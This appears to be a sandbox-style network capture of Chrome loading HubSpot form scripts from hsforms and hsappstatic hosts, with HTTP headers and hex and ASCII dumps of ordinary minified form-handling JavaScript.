2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 65 73 74 50 61 72 61 6d 73 2e 72 65 67 69 6f 6e 20 3d 20 67 65 74 48 75 62 6c 65 74 46 72 6f 6d 55 72 6c 28 29 3b 0a 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 72 65 71 75 65 73 74 50 61 72 61 6d 73 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2f 2f 20 47 65 74 20 46 6f 72 6d 20 72 65 71 75 65 73 74 20 70 61 72 61 6d 73 20 68 61 73 68 20 66 72 6f 6d 20 75 72 6c 0a 20 20 20 20 20 20 72 65 71 75 65 73 74 4f 62 6a 20 3d 20 70 61 72 73 65 52 65 71 75 65 73 74 50 61 72 61 6d 73 46 72 6f 6d 55 72 6c 28 29 3b 0a 0a 20 20 20 20 20 20 2f 2f 20 53 65 74 20 74 6f 20 67 6c 6f 62 61 6c 0a 20 20 20 20 20 20 52 65 71 75 65 73 74 50 61 72 61 6d 73 2e 70 6f 72 74 61 6c 49 64 20 3d 20 72 65 71 75 65 73 74 4f 62 6a 2e 70 6f 72 74 61 6c 49 64 3b 0a 20 20 20 20 20 Data Ascii: estParams.region = getHubletFromUrl(); return requestParams; } // Get Form request params hash from url requestObj = parseRequestParamsFromUrl(); // Set to global RequestParams.portalId = requestObj.portalId;
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 27 20 7d 29 3b 0a 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 30 2c 20 30 29 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 72 65 61 74 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 20 3d 20 77 69 6e 64 6f 77 2e 68 62 73 70 74 2e 66 6f 72 6d 73 2e 63 72 65 61 74 65 28 63 6f 6e 74 65 78 74 29 3b 0a 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 2e 6f 6e 28 27 6f 6e 46 6f 72 6d 52 65 61 64 79 27 2c 20 75 70 64 61 74 65 48 74 6d 6c 4c 61 6e 67 29 3b 0a 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 2e 6f 6e 28 27 6f 6e 50 61 67 65 43 68 61 6e 67 65 27 2c 20 73 63 72 6f 6c 6c 54 6f 54 6f 70 29 3b 0a 20 20 20 20 20 Data Ascii: ' }); } catch (e) { window.scrollTo(0, 0); } } create = function () { instance = window.hbspt.forms.create(context); instance.on('onFormReady', updateHtmlLang); instance.on('onPageChange', scrollToTop);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49842	104.17.174.91	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:33 UTC	615	OUT	GET /forms-submission-pages/static-1.5640/bundles/share-legacy.js HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.hsforms.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:33 UTC	1314	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:33 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close access-control-allow-origin: * access-control-allow-methods: GET access-control-max-age: 3000 x-amz-replication-status: COMPLETED last-modified: Thu, 09 Jan 2025 22:41:13 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: GPrHKuF7WcDByKwg5i3PQTQyM2medcdZ etag: W/"551afc910ff029ad0d875bcda97b517f" x-cache: Miss from cloudfront via: 1.1 30d9e3a4b27e43a0df1da02819d5efec.cloudfront.net (CloudFront) x-amz-cf-pop: ORD58-P3 x-amz-cf-id: 9si-wsqfT7BcsY-MZYDOqhnepVOBAG-uIQFxkLbyEEigjPGJMajCcQ== CF-Cache-Status: HIT Age: 4853 Expires: Sat, 10 Jan 2026 11:04:33 GMT Cache-Control: public, max-age=31536000 Set-Cookie: __cf_bm=v1W4xe1H2aH0uuQiqWrv0x7s9yc36LW_NGKKPuveoVk-1736507073-1.0.1.1-lAqkKNlDAFy24knIjBvQaeJ1xfIcwweMNSNF3b5CCV6SIQwV7ELpsB7.Rq6lAGRq8gFlsxgQSWCWR6oNcVJ1gQ; path=/; expires=Fri, 10-Jan-25 11:34:33 GMT; domain=.hsappstatic.net; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K4%2F%2BdBWEupvGROaaXB2IEuwVQFhyz%2FHFHwBPWHLHMYeBll9W%2FhGt1edLOBX3BLpiZLlf9qw%2FbtsF%2Bc4WZwLcJcgJz6A8FObY6t%2BzKGBD%2FJtME4QgQp8xRkXi5m6DNs0B4sMXTgi9bjg%3D"}],"group":"cf-nel","max_age":604800}
2025-01-10 11:04:33 UTC	286	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 3b 20 70 72 65 6c 6f 61 64 0d 0a 76 61 72 79 3a 20 4f 72 69 67 69 6e 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 48 65 61 64 65 72 73 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 4d 65 74 68 6f 64 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadvary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-MethodServer: cloudflareC
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 63 36 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 74 3d 22 68 73 66 6f 72 6d 73 22 2c 72 3d 7b 68 73 66 6f 72 6d 73 3a 7b 70 72 6f 64 3a 22 68 73 66 6f 72 6d 73 2e 63 6f 6d 22 2c 71 61 3a 22 68 73 66 6f 72 6d 73 71 61 2e 63 6f 6d 22 7d 7d 2c 6e 3d 22 73 68 61 72 65 22 2c 6f 3d 22 73 75 72 76 65 79 22 2c 65 3d 7b 5b 6e 5d 3a 22 73 68 61 72 65 22 2c 5b 6f 5d 3a 22 73 75 72 76 65 79 22 7d 2c 73 3d 74 3d 3e 74 26 26 22 6e 61 31 22 21 3d 3d 74 3f 60 2d 24 7b 74 7d 60 3a 22 22 2c 61 3d 74 3d 3e 22 6c 6f 63 61 6c 22 3d 3d 3d 74 7c 7c 22 71 61 22 3d 3d 3d 74 3f 22 71 61 22 3a 22 70 72 6f 64 22 2c 69 3d 74 3d 3e 65 5b 74 5d 2c 63 3d 28 74 2c 6e 29 3d 3e 72 5b 74 5d 5b 61 28 6e 29 5d 2c 75 3d 28 72 2c 6e 3d Data Ascii: c6a!function(){"use strict";const t="hsforms",r={hsforms:{prod:"hsforms.com",qa:"hsformsqa.com"}},n="share",o="survey",e={[n]:"share",[o]:"survey"},s=t=>t&&"na1"!==t?`-${t}`:"",a=t=>"local"===t\|\|"qa"===t?"qa":"prod",i=t=>e[t],c=(t,n)=>r[t][a(n)],u=(r,n=
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 29 3a 28 6c 2d 32 36 29 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2c 55 3d 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 68 2e 65 78 65 63 28 74 29 3b 72 65 74 75 72 6e 20 72 26 26 72 2e 6c 65 6e 67 74 68 3f 72 5b 31 5d 3a 6e 75 6c 6c 7d 2c 78 3d 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 74 2e 63 68 61 72 41 74 28 30 29 3d 3d 3d 64 2c 6e 3d 72 3f 32 3a 31 2c 6f 3d 24 28 49 28 74 2e 73 75 62 73 74 72 69 6e 67 28 6e 2c 32 32 2b 6e 29 29 29 3b 72 65 74 75 72 6e 7b 66 6f 72 6d 47 75 69 64 3a 72 3f 6f 2e 72 65 70 6c 61 63 65 28 2f 2d 2f 67 2c 22 22 29 3a 6f 2c 70 6f 72 74 61 6c 49 64 3a 70 61 72 73 65 49 6e 74 28 74 2e 73 75 62 73 74 72 69 6e 67 28 32 32 2b 6e 29 2c 33 36 29 2c 76 65 72 73 69 6f 6e 3a 43 28 74 2e 63 68 61 72 41 74 28 6e Data Ascii: ):(l-26).toString(36).toUpperCase(),U=t=>{const r=h.exec(t);return r&&r.length?r[1]:null},x=t=>{const r=t.charAt(0)===d,n=r?2:1,o=$(I(t.substring(n,22+n)));return{formGuid:r?o.replace(/-/g,""):o,portalId:parseInt(t.substring(22+n),36),version:C(t.charAt(n
2025-01-10 11:04:33 UTC	447	IN	Data Raw: 68 28 5b 22 73 65 74 43 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 2c 44 28 29 5d 29 3b 4b 28 29 2e 6f 6e 46 6f 72 6d 52 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4b 28 29 2e 63 75 72 72 65 6e 74 46 6f 72 6d 2e 73 65 74 43 6f 6e 74 65 78 74 28 7b 70 61 67 65 55 72 6c 3a 42 28 29 2b 22 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 7d 29 3b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 65 72 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6c 6f 61 64 65 64 22 29 7d 29 29 3b 4b 28 29 2e 6f 6e 52 65 6e 64 65 72 45 72 72 6f 72 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 65 72 22 29 2e 63 Data Ascii: h(["setCanonicalUrl",D()]);K().onFormReady((function(){K().currentForm.setContext({pageUrl:B()+""+window.location.search});document.querySelector(".container").classList.add("loaded")}));K().onRenderError((function(){document.querySelector(".container").c
2025-01-10 11:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49843	104.18.141.119	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:33 UTC	532	OUT	GET /forms/embed/v3.js HTTP/1.1 Host: js.hsforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	1335	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Thu, 12 Dec 2024 15:46:41 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: NleS4zhpR.RgCyKUKjNliOHGyZMPXoaR etag: W/"9045150ea546201948ca19ee2f5bfd0b" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 a4f9ca051b97c1ac09e2af244690d376.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: fbAjZ7CVBVMY-XBpswxQcGC2VgrQeyw8iw3WBMvAYaNyVvV67-jKSA== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=forms-embed/static-1.6926/bundles/project-v3.js&cfRay=8f8104f7d7eed6e1-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: forms-embed/static-1.6926/bundles/project-v3.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: MISS x-envoy-upstream-service-time: 7 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 04d10ba3-d2ef-48ec-b5c2-dbc9dc6ffeee x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-2w2nl x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all
2025-01-10 11:04:34 UTC	896	IN	Data Raw: 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 30 34 64 31 30 62 61 33 2d 64 32 65 66 2d 34 38 65 63 2d 62 35 63 32 2d 64 62 63 39 64 63 36 66 66 65 65 65 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 76 33 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 33 35 38 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 6d 6e 73 6f 6e 4c 53 6e 55 77 46 66 77 62 59 4f 59 36 34 72 54 55 30 6f 5a 68 54 50 53 4b 33 52 72 58 57 61 44 4c 7a 31 5a 7a 6b 2d 31 37 33 36 35 30 37 30 37 33 2d 31 2e 30 2e 31 2e 31 2d 36 4a 31 52 42 47 56 2e 6b 36 75 59 54 51 4a 44 78 42 6a 6c 57 49 47 Data Ascii: x-request-id: 04d10ba3-d2ef-48ec-b5c2-dbc9dc6ffeeecache-tag: staticjsapp-forms-embed-v3-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 358Set-Cookie: __cf_bm=mnsonLSnUwFfwbYOY64rTU0oZhTPSK3RrXWaDLz1Zzk-1736507073-1.0.1.1-6J1RBGV.k6uYTQJDxBjlWIG
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 61 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 5b 72 5d 2e 63 61 6c 6c 28 61 2e 65 78 70 6f 72 74 73 2c 61 2c 61 2e 65 78 70 6f 72 74 73 2c 6e 29 3b 61 2e 6c 3d 21 30 3b 72 65 74 75 72 6e 20 61 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 3b 6e 2e 63 3d 74 3b 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 3b 6e Data Ascii: 7ff9!function(e){var t={};function n(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};e[r].call(a.exports,a,a.exports,n);a.l=!0;return a.exports}n.m=e;n.c=t;n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})};n
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 61 5b 6e 5d 3d 65 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 61 7d 7d 2c 22 2b 5a 32 53 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 72 3d 28 65 3d 7b 7d 2c 74 3d 22 22 2c 6e 2c 61 3d 7b 7d 29 3d 3e 7b 63 6f 6e 73 74 5b 69 2c 2e 2e 2e 6f 5d 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 30 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 29 26 26 21 61 2e 6f 76 65 72 77 72 69 74 65 7c 7c 28 65 5b 74 5d 3d 6e 29 3b 65 6c 73 65 7b 28 21 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 7c 7c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 21 65 5b 69 5d 29 26 26 28 65 5b 69 5d 3d 7b 7d 29 3b 72 28 Data Ascii: xOf(n)>=0\|\|(a[n]=e[n])}return a}},"+Z2S":function(e,t,n){"use strict";const r=(e={},t="",n,a={})=>{const[i,...o]=t.split(".");if(0===o.length)e.hasOwnProperty(t)&&!a.overwrite\|\|(e[t]=n);else{(!e.hasOwnProperty(i)\|\|e.hasOwnProperty(i)&&!e[i])&&(e[i]={});r(
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 36 4e 66 77 22 29 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 65 2e 73 70 6c 69 74 28 22 40 22 29 5b 31 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 66 3d 65 3d 3e 65 2e 62 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 41 64 64 72 65 73 73 65 73 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 65 3d 3e 65 2e 74 72 69 6d 28 29 29 3b 76 61 72 20 70 3d 28 65 3d 7b 7d 2c 74 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 72 3d 5b 5d 2c 61 3d 5b 5d 2c 69 3d 64 28 65 2e 65 6d 61 69 6c 29 2c 6f 3d 5b 2e 2e 2e 66 28 65 29 2c 2e 2e 2e 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3f 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3a 5b 5d 5d 2c 73 3d 21 21 65 2e 73 75 63 63 65 73 73 2c 6c 3d 21 21 65 2e 65 6d 61 69 6c 53 68 6f 75 6c 64 52 65 73 75 Data Ascii: 6Nfw");const d=e=>e.split("@")[1].toLowerCase(),f=e=>e.blockedDomainAddresses.split(",").map(e=>e.trim());var p=(e={},t,n)=>{const r=[],a=[],i=d(e.email),o=[...f(e),...e.contextBlockedDomains?e.contextBlockedDomains:[]],s=!!e.success,l=!!e.emailShouldResu
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 7d 29 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 7d 29 29 3b 6e 2e 64 28 74 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 76 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 61 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 45 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 6b 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 63 Data Ascii: unction(){return P}));n.d(t,"a",(function(){return F}));n.d(t,"b",(function(){return U}));function T(e){return{type:r.v,payload:e}}function x(e){return{type:r.a,payload:e}}function A(e){return{type:r.E,payload:e}}function L(e){return{type:r.k,payload:e}}c
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 7d 2c 55 3d 28 5b 65 2c 74 5d 29 3d 3e 28 6e 2c 72 29 3d 3e 7b 63 6f 6e 73 74 20 61 3d 72 28 29 2c 73 3d 4f 62 6a 65 63 74 28 6f 2e 79 29 28 61 29 2c 63 3d 4f 62 6a 65 63 74 28 6f 2e 6b 29 28 61 29 2c 64 3d 4f 62 6a 65 63 74 28 6c 2e 61 29 28 61 29 2c 66 3d 4f 62 6a 65 63 74 28 69 2e 61 29 28 61 2c 74 29 3b 69 66 28 21 4f 62 6a 65 63 74 28 79 2e 61 29 28 74 29 26 26 4f 62 6a 65 63 74 28 75 2e 62 29 28 74 29 29 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 64 29 29 3b 6b 28 7b 75 72 6c 3a 64 2c 70 6f 72 74 61 6c 49 64 3a 73 2c 66 6f 72 6d 49 64 3a 63 2c 65 6d 61 69 6c 3a 74 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 66 29 29 3b 6e 28 41 28 5b 74 2c 7b 72 65 73 75 62 73 63 72 69 62 65 64 3a 21 30 7d 5d 29 29 Data Ascii: },U=([e,t])=>(n,r)=>{const a=r(),s=Object(o.y)(a),c=Object(o.k)(a),d=Object(l.a)(a),f=Object(i.a)(a,t);if(!Object(y.a)(t)&&Object(u.b)(t)){n(Object(v.c)(E.d));k({url:d,portalId:s,formId:c,email:t}).then(()=>{n(Object(v.c)(E.f));n(A([t,{resubscribed:!0}]))
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 7d 29 3b 63 61 73 65 22 73 65 74 46 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 7d 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 65 7d 7d 2c 6c 3d 4f 62 6a 65 63 74 28 61 2e 61 29 28 5b 6f 2c 28 29 3d 3e 6e 75 6c 6c 5d 29 2c 75 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d 29 Data Ascii: bmissionError":return Object.assign({},e,{formSubmissionError:t.formSubmissionError});case"setFormSubmissionWarning":return Object.assign({},e,{formSubmissionWarning:t.formSubmissionWarning});default:return e}},l=Object(a.a)([o,()=>null]),u=({children:e})
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 62 65 6c 3a 4f 62 6a 65 63 74 28 75 2e 61 29 28 65 2c 22 66 69 65 6c 64 4c 61 62 65 6c 73 2e 22 2b 74 2e 69 64 2c 7b 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 74 2e 6c 61 62 65 6c 7d 29 7d 2c 7b 73 68 6f 75 6c 64 53 68 6f 77 43 6f 75 6e 74 72 79 44 72 6f 70 64 6f 77 6e 3a 74 2e 66 69 65 6c 64 54 79 70 65 3d 3d 3d 64 2e 6d 3f 4f 62 6a 65 63 74 28 66 2e 62 29 28 65 2c 74 29 3a 6e 75 6c 6c 7d 2c 7b 6c 6f 63 61 6c 65 3a 4f 62 6a 65 63 74 28 70 2e 61 29 28 65 29 7d 29 2c 62 3d 28 65 2c 7b 66 69 65 6c 64 3a 74 7d 29 3d 3e 28 7b 75 70 64 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 67 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 49 6e 70 75 74 53 74 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 65 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 Data Ascii: bel:Object(u.a)(e,"fieldLabels."+t.id,{defaultValue:t.label})},{shouldShowCountryDropdown:t.fieldType===d.m?Object(f.b)(e,t):null},{locale:Object(p.a)(e)}),b=(e,{field:t})=>({update:n=>e(Object(i.g)([t,n])),updateInputState:n=>e(Object(i.e)([t,n])),update
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 3b 63 61 73 65 22 73 74 61 74 65 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 31 22 3b 63 61 73 65 22 61 64 64 72 65 73 73 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 69 6e 65 31 22 3b 63 61 73 65 22 63 69 74 79 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 32 22 3b 63 61 73 65 22 63 6f 75 6e 74 72 79 22 3a 72 65 74 75 72 6e 22 63 6f 75 6e 74 72 79 2d 6e 61 6d 65 22 3b 63 61 73 65 22 7a 69 70 22 3a 72 65 74 75 72 6e 22 70 6f 73 74 61 6c 2d 63 6f 64 65 22 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 7d 7d 3b 74 2e 61 3d 72 7d 2c 22 32 52 46 69 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 22 70 6d 67 66 22 29 3b 76 61 72 20 61 3d 65 3d Data Ascii: ;case"state":return"address-level1";case"address":return"address-line1";case"city":return"address-level2";case"country":return"country-name";case"zip":return"postal-code";default:return}};t.a=r},"2RFi":function(e,t,n){"use strict";var r=n("pmgf");var a=e=
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 65 63 74 28 72 2e 61 29 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 61 2e 61 29 28 6e 29 3f 6e 75 6c 6c 3a 60 24 7b 65 7d 3a 20 24 7b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 7d 60 7d 2c 6f 3d 6e 28 22 47 33 49 50 22 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 29 29 3b 63 6f 6e 73 74 20 73 3d 65 3d 3e 28 7b 74 79 70 65 3a 6f 2e 62 2c 70 61 79 6c 6f 61 64 3a 65 7d 29 2c 6c 3d 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3d 3e 6e 3d 3e 7b 63 6f 6e 73 74 20 72 3d 69 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3b 72 26 26 6e 28 73 28 72 29 29 7d 7d 2c 22 32 5a 6b 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b Data Ascii: ect(r.a)(t);return Object(a.a)(n)?null:`${e}: ${JSON.stringify(t)}`},o=n("G3IP");n.d(t,"a",(function(){return l}));const s=e=>({type:o.b,payload:e}),l=({message:e,properties:t})=>n=>{const r=i({message:e,properties:t});r&&n(s(r))}},"2Zks":function(e,t,n){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49845	104.16.140.209	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

